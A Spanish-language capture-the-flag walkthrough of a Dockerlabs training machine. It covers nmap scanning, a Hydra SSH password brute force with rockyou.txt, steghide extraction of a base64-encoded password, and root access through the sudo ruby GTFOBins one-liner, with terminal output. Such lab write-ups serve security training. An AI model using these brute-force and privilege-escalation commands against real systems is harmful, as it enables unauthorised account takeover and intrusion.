

17. Máquina: Amor(Fácil)

1. Descubrimiento de puertos y servicios con Nmap:

- Utilizamos Nmap para descubrir los puertos abiertos y los servicios en ejecución.
 - Comando:** `nmap -sVC 172.17.0.2 -Pn`
 - Resultado:** Se encontraron los servicios HTTP y SSH abiertos.

2. Navegación servicio HTTP:

- Con la herramienta **Gobuster** no encontramos ningún directorio activo oculto, así que inspeccionamos la página principal. Navegando por la web encontramos dos nombres relevantes: **juan** y **carlota** e información sobre un correo mencionando una contraseña.

¡Importante! Despido de empleado

Juan fue despedido de la empresa por enviar un correo con la contraseña a un compañero.

Firmado: Carlota, Departamento de ciberseguridad

3. Ataque de fuerza bruta con Hydra:

- Realizamos un ataque de fuerza bruta contra el servicio ssh usando la herramienta **Hydra** utilizando los nombres de usuario **juan** y **carlota**, encontrados navegando por la página web.
 - Comando:** `hydra -l juan -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh` `hydra -l carlota -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh`
 - Resultado:** Se encontró la contraseña "babygirl" para el usuario "carlota". No hubo suerte encontrando la contraseña de **juan**.

```
(root@kali) - [ /home/kali ]
# hydra -l carlota -P /usr/share/wordlists/rockyou.txt 172.17.0.2 ssh -I
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or s
hics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-07-12 17:59:34
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting,
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399),
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2 login: carlota password: babygirl
1 of 1 target successfully completed, 1 valid password found
```

4. Conexión SSH a la máquina víctima - Carlota:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas.
 - Comando:** `ssh carlota@172.17.0.2`
 - Resultado:** Nos encontramos dentro del usuario **carlota** en la máquina víctima (ingresando password **babygirl**)

5. Navegación y Permisos usuario carlota:

- Observando los permisos para el usuario carlota no encontramos nada relevante, además de no poder ejecutar **sudo**. Navegando por los directorios del usuario observamos que existe otro más llamado **oscar**, el cual no tenemos permiso para acceder. También, dentro del usuario **carlota** encontramos una carpeta con una imagen el cual podemos analizar para extraer información relevante.

6. Uso de la Herramienta SCP - Descargar imagen:

- Usamos la herramienta **scp** para copiar el archivo de la imagen encontrada en el directorio del usuario **carlota** conectados desde el protocolo **ssh** a nuestra maquina local.
 - Comando:** `scp carlota@172.17.0.2:/Desktop/fotos/vacaciones/imagen.jpg /home/kali/Desktop`
 - Resultado:** Hemos copiado la **imagen.jpg** a nuestra máquina local, disponible para ser analizada.

7. Uso de la Herramienta StegHide - Detectar Archivos/Mensajes ocultos en Imagen:

- La herramienta **steghide** permite esconder mensajes y archivos ocultos dentro de imagenes. Usando la herramienta **exiftool** no hemos encontrado infomración relevante sobre los metadatos de la imagen, pero usando **steghide** hemos descubierto un file oculto dentro de la imagen.
 - Comando:** `steghide --info imagen.jpg`
 - Resultado:** Observamos que aparece un **secret.txt** junto a la imagen de **carlota** analizada.

```
(root@kali)-[~kali/Desktop/Dockerlabs/Facil/amor]
# steghide --info imagen.jpg
"imagen.jpg":
  format: jpeg
  capacity: 2.8 KB
  Try to get information about embedded data ? (y/n) y
  Enter passphrase:
    embedded file "secret.txt":
      size: 25.0 Byte
      encrypted: rijndael-128, cbc
      compressed: yes
```

8. Uso de la Herramienta StegHide - Extraer Archivos/Mensajes ocultos en Imagen:

- Una vez hemos visto que en la *imagen.jpg* se encuentra un archivo *secret.txt* oculto, podemos extraerlo usando la misma herramienta *steghide*.

- Comando:** `steghide extract -sf imagen.jpg` . Sin passphrase.

- Resultado:** Recibimos una contraseña codificada dentro del *secret.txt*, la cual es: `ZXNsYWNhc2FkZXBpbmlwb24=`

9. Descodificar Contraseña Encontrada secret.txt:

- Dado el texto encontrado dentro del *secret.txt* es una contraseña codificada, podemos usar *base64* para descodificar esta misma.

- Comando:** `echo "ZXNsYWNhc2FkZXBpbmlwb24=" | base64 -d`

- Resultado:** Una vez descodificada, obtenemos el siguiente texto plano *eslacasadepinyon*.

```
(root@kali)-[~kali/Desktop/Dockerlabs/Facil/amor]
# steghide extract -sf imagen.jpg
Enter passphrase:
the file "secret.txt" does already exist. overwrite ? (y/n) y
wrote extracted data to "secret.txt".

(root@kali)-[~kali/Desktop/Dockerlabs/Facil/amor]
#
#
#
# cat secret.txt
ZXNsYWNhc2FkZXBpbmlwb24=

(root@kali)-[~kali/Desktop/Dockerlabs/Facil/amor]
# echo "ZXNsYWNhc2FkZXBpbmlwb24=" | base64 -d
eslacasadepinyon
```

10. Conexión SSH a la máquina víctima - Oscar:

- Nos conectamos a la máquina víctima mediante ssh con las credenciales encontradas. Utilizaremos el usuario *oscar* encontrado navegando por los directorios de la máquina de *carlota*.

- Comando:** `ssh oscar@172.17.0.2`

- Resultado:** Nos encontramos dentro del usuario *oscar* en la máquina víctima (ingresando password *eslacasadepinyon*)


11. Verificación de Permisos de Sudo para Oscar:

- Una vez dentro del usuario Oscar, vamos a verificar los permisos que tiene este usuario sobre la máquina víctima.

- Comandos:** `sudo -l`

- Resultado:** Descubrimos que puede ejecutar el binario `/usr/bin/ruby` sin necesidad de contraseña.

12. Escalado de Privilegios para Oscar:

- Habiendo observado que oscar puede ejecutar binarios Ruby, buscamos un exploit en *ruby* para realizar la escalada de privilegios en  [GTFOBins](#) .

- Comando:** `sudo ruby -e 'exec "/bin/bash"'`

- Resultado:** Ejecutamos el comando y obtenemos acceso como usuario root en la máquina víctima desde el usuario Oscar. Como extra, podemos observar en el directorio */root* un mensaje final de agradecimiento por completar la máquina ¡Fin de la resolución!

```
$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
oscar@13ccaa7ed679:~$ sudo -l
Matching Defaults entries for oscar on 13ccaa7ed679:
  env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/

User oscar may run the following commands on 13ccaa7ed679:
  (ALL) NOPASSWD: /usr/bin/ruby
oscar@13ccaa7ed679:~$ sudo ruby -e 'exec "/bin/bash"'
root@13ccaa7ed679:/home/oscar# whoami
root
root@13ccaa7ed679:/home/oscar# cd ..
root@13ccaa7ed679:/home# cd ..
root@13ccaa7ed679:/# cd root/
root@13ccaa7ed679:~# ls
Desktop
root@13ccaa7ed679:~# cd Desktop/
root@13ccaa7ed679:~/Desktop# ls -la
.  ..  THX.txt
root@13ccaa7ed679:~/Desktop# cat THX.txt
Gracias a toda la comunidad de Dockerlabs y a Mario por toda la ayuda
root@13ccaa7ed679:~/Desktop# xDaliK
bash: xDaliK: command not found
```